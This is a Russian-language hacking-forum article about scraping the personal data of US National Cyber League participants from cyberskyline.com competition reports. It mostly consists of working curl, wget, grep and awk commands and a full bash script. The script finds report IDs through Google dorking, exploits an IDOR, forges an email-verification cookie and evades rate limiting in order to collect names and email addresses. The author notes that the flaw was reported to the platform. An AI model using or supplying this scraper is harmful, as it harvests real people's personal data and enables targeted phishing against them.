• Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Сливаем отчетность американской Cyber League с помощью базовых утилит Linux

Article Publisher

Публикатор
Команда форума
Регистрация
05.02.25
1739281949547.png


В этой статье я расскажу, как создать хакерское приложение, используя встроенный язык программирования Linux, и собрать базу данных участников западной "Национальной Киберлиги". Можно сказать, хакнем хакеров! ;)

Начнем со ссылки на отчет о соревнованиях Western National Cyber League, а закончим полноценным инструментом автоматизации. По пути рассмотрим основы работы с сURL, научимся обходить базовые ограничения веб-приложений и поработаем с PDF-документами из командной строки.

Статья будет полезна специалистам по информационной безопасности и всем, кто интересуется автоматизацией процессов в Linux.


Недавно мне написала американская коллега из города Эдмонд, штат Оклахома.

После стандартного обмена любезностями типа "Как дела?", "Как погода в Москве?" она поделилась отчетом о своем участии в осенних хакерских соревнованиях за 2023 год. Это была ссылка на портал cyberskyline.com:

При переходе по ссылке вместо того, чтобы показать отчет, сайт запросил адрес моей электронной почты. Конечно, только… создам ее)


1739282010766.png


Идем на мой любимый ресурс генерации одноразовой почты и получаем свеженький почтовый ящик. После ввода электронной почты сразу открывается отчет о результатах индивидуальных соревнований "Национальной Киберлиги" за осень 2023 года:



1739282057201.png


Интересно, что система не просила меня перейти по ссылке и подтвердить валидность адреса. Кроме того, сайт Киберлиги не проверил, что почта относится к существующему домену. Не были проведены даже минимальные проверки почты.

Из этого следует два вывода: можно вводить абракадабру для доступа к отчетам; сайт Киберлиги просто собирает адреса, чтобы потом проводить рекламные рассылки.

Окей, временный ящик защитит нас от спама. Давайте теперь изучим отчет. Помимо результатов тестирования и текста о том, какая Киберлига крутая, мы видим важную для любого хакера информацию — полное имя и фамилию, а также адрес электронной почты.

Хм, очень интересно, а сколько всего таких отчетов существует? В тексте указано число соревнующихся — 7879. Это почти 8 тысяч документов с полным именем и адресом электронной почты участников международных хакерских турниров. Попробуем получить к ним доступ.


1739282091334.png


Проанализируем адрес документа:

В нем есть слово "report" (отчет), а затем идет буквенно-цифровой идентификатор 9LT51V9K786C. Скорее всего (на самом деле так и есть), для доступа к другим отчетам потребуется подобрать аналогичную комбинацию цифр и букв. Это классический IDOR — уязвимость, о которой коллеги уже рассказывали на Хабре.

Рассмотрим возможное количество комбинаций в идентификаторе. В английском алфавите 26 букв, но в системах на базе Linux строчные и прописные буквы считаются разными символами. Это дает нам 52 возможных буквенных символа.

Но нам повезло: в ссылке на наш отчет только прописные буквы. Будем надеяться, что так оно и останется. По-хорошему, чтобы убедиться, нужны дополнительный анализ и энумерация. С цифрами все проще — их всего 10.

Итого мы получаем 26 прописных букв и 10 цифр, что дает нам 36 вариантов для каждой позиции. В идентификаторе 12 символов, поэтому общее количество возможных комбинаций составляет 36^12, или 4 738 381 338 321 616 896. Как бы… немало. А у нас всего около 8 тысяч записей, что составляет примерно 0,00000000000001% от всех возможных комбинаций. Такое число мы в жизни не забрутфорсим.

Мы пойдем другим путем.

Существует более простой способ получения номеров отчетов — через поисковую индексацию Google. Что, если поисковик уже проиндексировал эти отчеты?

Давайте поищем. Используем специальный оператор поиска "site:", который ограничивает результаты конкретным доменом. В поисковую строку вводим запрос "site:cyberskyline.com/report", чтобы Google показывал только страницы, расположенные по этому адресу.


1739282135297.png


В результатах поиска сразу обнаруживаются номера отчетов — они появляются уже во второй и третьей строке выдачи, если не считать рекламный блок. Теперь проверим общее количество проиндексированных отчетов в поисковой системе.


1739282167928.png



На каждой странице отображается по 10 ссылок, что дает нам возможность получить данные 270 пользователей. Ручной сбор этой информации неэффективен и займет много времени.

Главная сила командной строки Linux, которой раньше не хватало Windows CMD, заключается в возможности объединять небольшие приложения в единую цепочку команд — конвейеры. Более того, конвейеры можно объединять между собой, создавая полноценные приложения, такие как LinEnum и AutoSUID. Так что напишем приложение, которое соберет данные за нас.

Шаг 1. Алгоритм и анализ​

Даже для небольшого скрипта важно четко представлять последовательность действий.

На первом этапе необходимо реализовать парсинг Google: программа должна открыть поисковую страницу, выполнить запрос, получить результаты, скачать найденные Гуглом файлы и автоматически перейти к следующей странице выдачи для повторения процесса.

После загрузки PDF-файлов программа должна извлечь из каждого документа персональные данные пользователей. В рамках этого примера будем собирать имена и адреса электронной почты. Затем сохраним полученную информацию в отдельный файл.

Здесь я должен предупредить, что подобный парсинг данных российских пользователей может нарушать законодательство о персональных данных. Описанные техники представлены исключительно в образовательных целях. Используйте их правомерно.
Ну что, поехали пункт за пунктом. Для анализа механизма взаимодействия с поисковиком используем BurpSuite — перехватим и изучим трафик поисковых запросов.


1739282205688.png



Отлично, мы нашли верный запрос, но в нем слишком много шума. Почистим его и "причешем". Для этого направим запрос в Repeater и последовательно удалим лишние параметры. Проверим корректность его работы с помощью поискового выражения "url=https://cyberskyline.com/report/", в котором содержится номер отчета.

25f3da8fcc03b9ac8da19b9323b2a388.png

Упростили запрос до минимума, оставив только необходимые параметры: GET-запрос, Host и User-Agent. Теперь нужно разобраться с переходом на следующие страницы поисковой выдачи. Для этого откроем вторую страницу поисковика через браузер и проанализируем изменения в перехваченном трафике через BurpSuite.



1739282274875.png



В перехваченном запросе появился дополнительный параметр — start=10. Он определяет начальную позицию вывода результатов: значения 0–9 соответствуют первой странице, 10–19 — второй странице и так далее.

8fa0e473cf37c7dd96504e093fe94539.png

Проверим это предположение, отправив запрос с новым параметром через Repeater: выводные значения меняются, значит, мы все делаем правильно. Теперь сделаем все то же самое, только через командную строку.

Шаг 2. Парсим Google​

curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
678757107fe321d1465df5469f2d7d0d.png

Запрос работает корректно. Теперь перейдем к следующему этапу: отфильтруем ответ сервера, чтобы получить только строки с адресами отчетов. Для этого воспользуемся утилитой grep.

curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "url=https://cyberskyline.com/report/" -o
eaff50336dad3f9046e0ae0aa3c6f1c1.png

Почти сработало, но мы так и не получили последние 12 символов после "report". Здесь не обойтись без регулярного выражения. Давай напишем наш grep следующим образом:

grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}"
Как можно понять из "регулярки", мы выбираем символы от A до Z в количестве 12 штук. Также уберем "url=" чтобы получить более верный вывод.

curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o
00979c72a0295a996a986f1c5b48bdd7.png

Теперь возникает дублирование результатов в выводе, но эту проблему легко решить добавлением команды uniq в конец нашего конвейера.

curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o | uniq
8b6f9ef0e5a12da6378359ac29ea49e2.png

В результате мы получили список уникальных ссылок на отчеты. В выводе видим 18 ссылок с учетом дубликатов, но их можно убрать с помощью сортировки и удаления повторов командами sort -u и uniq. А пока проверим работоспособность последней ссылки.

a4c7cbdbdd46843a0898b8ca2fc109f5.png

И все прекрасно работает. В финальной версии приложения будем последовательно изменять значение параметра start (0, 10, 20, 30 и так далее) для перебора всех доступных страниц поисковой выдачи Google.

Этап 3. Качаем отчеты​

Переходим к этапу загрузки отчетов. После реализации парсинга эта задача не должна вызвать затруднений. Для скачивания файлов у нас есть два варианта: curl или wget. Для разнообразия будем использовать wget.

wget https://cyberskyline.com/report/B2L7UK1KQJ2B
1aca4776c5d368a3e561b9cf6365cf25.png

Отлично, наш отчет успешно скачан, и мы можем его посмотреть... или нет?

83527f2199d4683bc9ccd3aa73769f75.png

При открытии ссылки в браузере отчет отображается корректно, но при скачивании через командную строку получаем пустой документ.

Помните, что при первом обращении к отчету сайт запрашивал электронную почту? Еще раз проанализируем запрос на получение отчета через BurpSuite.

db915d2803e7bfa689ec34375b19588e.png

Вот и почта, которую мы вводили в самом начале статьи. В cookies она представлена как параметр sky.verifyEmail со значением "[email protected]". Добавим этот параметр в wget-запрос. Иногда здесь нужно указывать User-Agent. Так многие приложения защищаются от автоматизированных запросов, но в данном случае можно обойтись без него.

wget --header "Cookie: sky.verifyEmail=[email protected]"
e446d0b2f8d6bdd78cc4a93b2951cd27.png

Отлично, теперь в ответе мы можем видеть, что был скачан именно PDF-документ. Переходим на рабочий стол, где видим файл B2L7UK1KQJ2B.1. Файл корректно открывается и содержит нужную информацию.

Шаг 4. Парсим PDF​

Теперь предстоит извлечь информацию из PDF-файла. Казалось бы, это не скан, и работать с текстом должно быть просто, но это только на первый взгляд. Поскольку документ создан программно, попробуем проанализировать исходный код PDF.

60292d97dcffb71d90df84dd200bbf8c.png

Поиск электронной почты в исходном коде PDF не дал результатов. Поищем альтернативное решение: обратимся к Google. Среди первых результатов находим релевантный ответ на SuperUser.com.

48c4373d95c11b5ed8712be99a669a64.png

Изучив ответы, обнаруживаем подходящий инструмент — терминальную программу pdftotext. Приступаем к тестированию этого решения.

6e063cbeda8fd9dd14fd18b2756052e1.png

Указанное приложение у меня не установлено. Но умный Линукс подсказывает, как его скачать:

sudo apt install poppler-utils
Почитав мануал к приложению, определяем правильный синтаксис команды для извлечения текста:

pdftotext [options] <PDF-file> [<text-file>]
Попробуем сконвертировать PDF в текст и потом прочитать первые 10 строчек файла:

pdftotext B2L7UK1KQJ2B.1 pdfintotext.txt; head pdfintotext.txt
38c8c764caeb91fb496f6840cf02bd3c.png

Работает! Имя киберспортсмена находится на третьей строке в выводе, а его электронная почта — на седьмой.

Для извлечения этих данных используем утилиту awk с командой 'NR==3 || NR==7', которая выведет только содержимое третьей и седьмой строк. Команда 'NR==3 {printf "%s | ", $0} NR==7 {print $0}' выведет 3 и 7 строку в одну строку, разделенную вертикальной чертой (|). Ну и наконец, добавление двойных правых скобок перенаправит вывод в текстовый файл, который мы потом прочитаем.

bd11a7aa4823ba35732d068ec6c95aa1.png

Осталась самая малость — объединить все наши отдельные скрипты в один большой файл.

Шаг 5. Объединяем части в одно приложение​

Подходим к завершающему этапу — объединению всех компонентов в рабочее решение. Согласно разработанному алгоритму, сначала загружаем PDF-файлы, затем обрабатываем их. Для демонстрации концепции ограничимся анализом первых трех страниц поисковой выдачи. Создаем на рабочем столе папку PDFParser для хранения файлов и запускаем mousepad для написания скрипта.

Создадим цикл от 0 до 20 с шагом в 10. Таким образом получим три значения: 0, 10 и 20, которые подставим в парсер поисковика. Цикл будет выглядеть следующим образом:

for start in `seq 0 10 20`; do ...; done
Где 0 — начало отсчета включительно; 10 — шаг каждого цикла; 20 — конец отсчета включительно.

Подставим формулу парсинга в цикл и запустим код. Не забудьте заменить цифру в адресной строке на переменную $start. Код будет выглядеть таким образом:

#!/bin/bash

for start in `seq 0 10 20`;

do curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=$start" | grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o |
sort -u | uniq

done
Запускаем файл стандартной командой bash pdfparser.sh:

a7123e46b024e9929d4d2aed801dbb77.png

Отлично, все работает как задумано. Теперь нужно сохранить полученные ссылки для дальнейшей работы. Есть два варианта: временно хранить их в переменной (в оперативной памяти) или сохранить в файл на диск. Для учебных целей выберем второй вариант. Добавим в конце команды >> links.txt, чтобы перенаправить вывод в файл.

f4bd772e7f0bd4a83c378bfc42045ad4.png

Мы записали ссылки в файл, убедились в его создании командой ls и проверили содержимое через cat links.txt. Теперь можем работать с полученными ссылками. Чтобы избежать блокировки со стороны Google (компания зарабатывает на API и ограничивает бесплатный парсинг), закомментируем строку с парсингом и продолжим работу с уже имеющимся файлом ссылок.

Теперь создадим цикл для чтения файла, где каждая строка станет переменной для скачивания файла.

for link in $(cat links.txt)

do
wget --header "Cookie: sky.verifyEmail=[email protected]" $link

done
Вставляем, запускаем, проверяем.

dbe05d855596ec164233d2453e568f10.png

Хорошая новость — мы скачали часть файлов. Плохая — только 12 из 27. Почему так произошло? В ответе сервера видим: HTTP request sent, awaiting response... 429 Too Many Requests.

На сайте работает защитный механизм — Web application firewall, который блокирует множественные и частые соединения. Вероятно, система отслеживает подключения по IP-адресу или email из cookies.

Попробуем изменить email — это самый быстрый способ обойти блокировку. Если не поможет, придется добавлять временную задержку между запросами, но это существенно замедлит выполнение скрипта. Для начала добавим в конец адреса случайно сгенерированное число.

b2456b34984230887161736ffd8443ec.png
for link in $(cat links.txt)

do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com"
$link

done
Изменение email не помогло — удалось скачать только 5 файлов из 27, так что добавим задержку между запросами в 3 секунды с помощью команды sleep.

Также используем параметр wget -t (--tries), чтобы ограничить количество попыток скачивания до трех. Если установить его на 0, wget будет пытаться скачивать файл бесконечно. В нашем случае это избыточно.

Обновим код, добавив эти параметры. Для лучшего результата рекомендуется включить VPN или прокси — это позволит сменить IP-адрес и обойти ограничения со стороны сервера.

for link in $(cat links.txt)

do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com"
$link
sleep 3

done
e24c26e30aa528540181d8f5133461bf.png

Отлично, мы скачали большую часть файлов — 22 из 27. Этого достаточно для текущих целей. Чтобы добиться большего, нужно увеличить интервал между запросами и количество попыток скачивания.

Теперь осталось извлечь информацию из скачанных PDF-файлов. Для этого используем цикл с командой ls — встроенным средством Linux для листинга файлов. Внутрь цикла поместим ранее подготовленный скрипт извлечения текста из PDF:

for pdffile in $(ls -1);
do
pdftotext $pdffile pdfintotext.txt && awk 'NR==3 {printf "%s | ", $0} NR==7 {print $0}'
pdfintotext.txt >> database.txt
done
4150f6ad77b4c13cda4e49edc558454a.png

Запустим получившийся скрипт.

24db2a2db1b24da918c5f9ae642df497.png

Скрипт показал синтаксическую ошибку: May not be a PDF file (continuing anyway) — возможно, файл не является PDF-форматом (обработка продолжается). Действительно, помимо PDF-файлов в папке находятся файл links.txt со ссылками и сам скрипт pdfparser.sh.

Проверим, был ли создан файл database.txt и если да, прочитаем его содержимое.

9d6fd4fa5482e8e1e04492531b032c16.png

Отлично, мы создали файл и заполнили его анкетными данными киберспортсменов и его email-адресами. Однако в шестой строке содержится какой-то другой текст, не похожий на персональные данные.

4ed81d0cca9462296916279a6bf91d7f.png

Верно, этот файл оказался отчетом о киберсоревнованиях 2019 года, а не целевым документом 2023 года, и имеет другой формат. Скрипт отработал корректно. Осталось добавить комментарии для пояснений и отформатировать код для удобства чтения, после чего можно запускать готовую программу.

4157ebbbdf6188d3984b3a52f897077a.png

Сам скрипт в текстовом виде:

#!/bin/bash

echo ":::: ::: :::::::: ::: ::: :::::::::: ::: ::: ::: ::: :::::::: ::::::::::
:+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
:+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +#+ +#+ +#++:++# +#++:++#++: +#++:++ +#++:++#++: :#: +#++:++#
+#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+# +#+
#+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
### #### ######## ########## ########## ########## ### ### ### ### ### ### ######## ########## "

echo -e "\nStart Google parsing..."
for start in `seq 0 10 20`;
do
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=$start" |
grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o |
sort -u | uniq >> links.txt
done
numberoflines=`wc -l links.txt | cut -d " " -f 1`
echo "Google parsing is done! We got $numberoflines links"

echo -e "\nStart downloading reports..."
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com" -t 3 $link
sleep 3
done
echo "Downloading is done!"

echo -e "\nStart extracting personal data from PDFs..."
for pdffile in $(ls -1);
do
pdftotext $pdffile pdfintotext.txt && awk 'NR==3 {printf "%s | ", $0} NR==7 {print $0}' pdfintotext.txt >> database.txt
done
echo "Extracting is done! Enjoy"
Скрипт успешно извлек данные участников Киберлиги. Можно ли считать это утечкой? Безусловно — такая информация открывает широкие возможности для целевого фишинга. Злоумышленники могут создавать убедительные письма, используя полные имена пользователей, их рейтинг на платформе, достижения и другие детали из отчета. Отсутствие валидации email-адресов, недостаточная защита от автоматизированного сбора данных создали серьезные риски для пользователей платформы.

Что ж, коллегу я удивил, а вот организаторы Киберлиги, кажется, не впечатлились. Я связался с администрацией платформы. Они подтвердили получение информации и обещали провести проверку, но даже спустя месяц проблема остается нерешенной.

Однако я надеюсь, что этот небольшой эксперимент помог вам глубже понять принципы работы с командной строкой Linux и продемонстрировал, как можно находить неочевидные возможности в исследованиях информационной безопасности.
 
Сверху Снизу